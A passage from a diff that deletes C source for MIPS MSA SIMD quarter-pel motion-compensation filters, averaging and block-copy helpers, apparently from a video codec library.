-    vert_mc_qpel_avg_dst_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_h_src1_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src01_16x16_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src01_8x8_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_aver_u_b(avg0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_aver_u_b(avg1, res1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_v_src1_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_v_src1_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1, horiz5,
-                                        horiz6, horiz7, horiz8, horiz5, horiz4,
-                                        horiz3, horiz2, horiz6, horiz7, horiz8,
-                                        horiz8, const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3, horiz7,
-                                        horiz8, horiz8, horiz7, horiz7, horiz6,
-                                        horiz5, horiz4, horiz8, horiz8, horiz7,
-                                        horiz6, const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_aver_u_b(avg0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_aver_u_b(avg1, res1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src11_16x16_msa(const uint8_t *src,
-                                                       int32_t src_stride,
-                                                       uint8_t *dst,
-                                                       int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_avg_dst_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_avg_dst_aver_hv_src11_8x8_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 dst0, dst1;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2, horiz1,
-                                        horiz2, horiz3, horiz4, horiz1, horiz0,
-                                        horiz0, horiz1, horiz2, horiz3, horiz4,
-                                        horiz5, const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0, horiz3,
-                                        horiz4, horiz5, horiz6, horiz3, horiz2,
-                                        horiz1, horiz0, horiz4, horiz5, horiz6,
-                                        horiz7, const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1, horiz5,
-                                        horiz6, horiz7, horiz8, horiz5, horiz4,
-                                        horiz3, horiz2, horiz6, horiz7, horiz8,
-                                        horiz8, const20, const6, const3);
-    res0 = __msa_aver_u_b(avg0, res0);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3, horiz7,
-                                        horiz8, horiz8, horiz7, horiz7, horiz6,
-                                        horiz5, horiz4, horiz8, horiz8, horiz7,
-                                        horiz6, const20, const6, const3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) dst1, (v2i64) dst0);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void copy_8x8_msa(const uint8_t *src, int32_t src_stride,
-                         uint8_t *dst, int32_t dst_stride)
-{
-    uint64_t src0, src1;
-    int32_t loop_cnt;
-
-    for (loop_cnt = 4; loop_cnt--;) {
-        src0 = LD(src);
-        src += src_stride;
-        src1 = LD(src);
-        src += src_stride;
-
-        SD(src0, dst);
-        dst += dst_stride;
-        SD(src1, dst);
-        dst += dst_stride;
-    }
-}
-
-static void copy_16x16_msa(const uint8_t *src, int32_t src_stride,
-                           uint8_t *dst, int32_t dst_stride)
-{
-    v16u8 src0, src1, src2, src3, src4, src5, src6, src7;
-    v16u8 src8, src9, src10, src11, src12, src13, src14, src15;
-
-    LD_UB8(src, src_stride, src0, src1, src2, src3, src4, src5, src6, src7);
-    src += (8 * src_stride);
-    LD_UB8(src, src_stride,
-           src8, src9, src10, src11, src12, src13, src14, src15);
-
-    ST_UB8(src0, src1, src2, src3, src4, src5, src6, src7, dst, dst_stride);
-    dst += (8 * dst_stride);
-    ST_UB8(src8, src9, src10, src11, src12, src13, src14, src15,
-           dst, dst_stride);
-}
-
-static void avg_width8_msa(const uint8_t *src, int32_t src_stride,
-                           uint8_t *dst, int32_t dst_stride,
-                           int32_t height)
-{
-    int32_t cnt;
-    uint64_t out0, out1, out2, out3;
-    v16u8 src0, src1, src2, src3;
-    v16u8 dst0, dst1, dst2, dst3;
-
-    for (cnt = (height / 4); cnt--;) {
-        LD_UB4(src, src_stride, src0, src1, src2, src3);
-        src += (4 * src_stride);
-        LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-
-        AVER_UB4_UB(src0, dst0, src1, dst1, src2, dst2, src3, dst3,
-                    dst0, dst1, dst2, dst3);
-
-        out0 = __msa_copy_u_d((v2i64) dst0, 0);
-        out1 = __msa_copy_u_d((v2i64) dst1, 0);
-        out2 = __msa_copy_u_d((v2i64) dst2, 0);
-        out3 = __msa_copy_u_d((v2i64) dst3, 0);
-        SD4(out0, out1, out2, out3, dst, dst_stride);
-        dst += (4 * dst_stride);
-    }
-}
-
-static void avg_width16_msa(const uint8_t *src, int32_t src_stride,
-                            uint8_t *dst, int32_t dst_stride,
-                            int32_t height)
-{
-    int32_t cnt;
-    v16u8 src0, src1, src2, src3, src4, src5, src6, src7;
-    v16u8 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
-
-    for (cnt = (height / 8); cnt--;) {
-        LD_UB8(src, src_stride, src0, src1, src2, src3, src4, src5, src6, src7);
-        src += (8 * src_stride);
-        LD_UB8(dst, dst_stride, dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7);
-
-        AVER_UB4_UB(src0, dst0, src1, dst1, src2, dst2, src3, dst3,
-                    dst0, dst1, dst2, dst3);
-        AVER_UB4_UB(src4, dst4, src5, dst5, src6, dst6, src7, dst7,
-                    dst4, dst5, dst6, dst7);
-        ST_UB8(dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7, dst, dst_stride);
-        dst += (8 * dst_stride);
-    }
-}
-
-void ff_copy_16x16_msa(uint8_t *dest, const uint8_t *src, ptrdiff_t stride)
-{
-    copy_16x16_msa(src, stride, dest, stride);
-}
-
-void ff_copy_8x8_msa(uint8_t *dest, const uint8_t *src, ptrdiff_t stride)
-{
-    copy_8x8_msa(src, stride, dest, stride);
-}
-
-void ff_horiz_mc_qpel_aver_src0_8width_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    horiz_mc_qpel_aver_src0_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_aver_src0_16width_msa(uint8_t *dest,
-                                            const uint8_t *src,
-                                            ptrdiff_t stride)
-{
-    horiz_mc_qpel_aver_src0_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_8width_msa(uint8_t *dest, const uint8_t *src,
-                                 ptrdiff_t stride)
-{
-    horiz_mc_qpel_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_16width_msa(uint8_t *dest,
-                                  const uint8_t *src, ptrdiff_t stride)
-{
-    horiz_mc_qpel_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_aver_src1_8width_msa(uint8_t *dest,
-                                           const uint8_t *src,
-                                           ptrdiff_t stride)
-{
-    horiz_mc_qpel_aver_src1_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_aver_src1_16width_msa(uint8_t *dest,
-                                            const uint8_t *src,
-                                            ptrdiff_t stride)
-{
-    horiz_mc_qpel_aver_src1_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_no_rnd_aver_src0_8width_msa(uint8_t *dest,
-                                                  const uint8_t *src,
-                                                  ptrdiff_t stride)
-{
-    horiz_mc_qpel_no_rnd_aver_src0_8width_msa(src, stride, dest, stride, 8);
-}
-
-void ff_horiz_mc_qpel_no_rnd_aver_src0_16width_msa(uint8_t *dest,
-                                                   const uint8_t *src,
-                                                   ptrdiff_t stride)
-{
-    horiz_mc_qpel_no_rnd_aver_src0_16width_msa(src, stride, dest, stride, 16);
-}
-
-void ff_horiz_mc_qpel_no_rnd_8width_msa(uint8_t *dest,
-                                        const uint8_t *src, ptrdiff_t stride)
-{
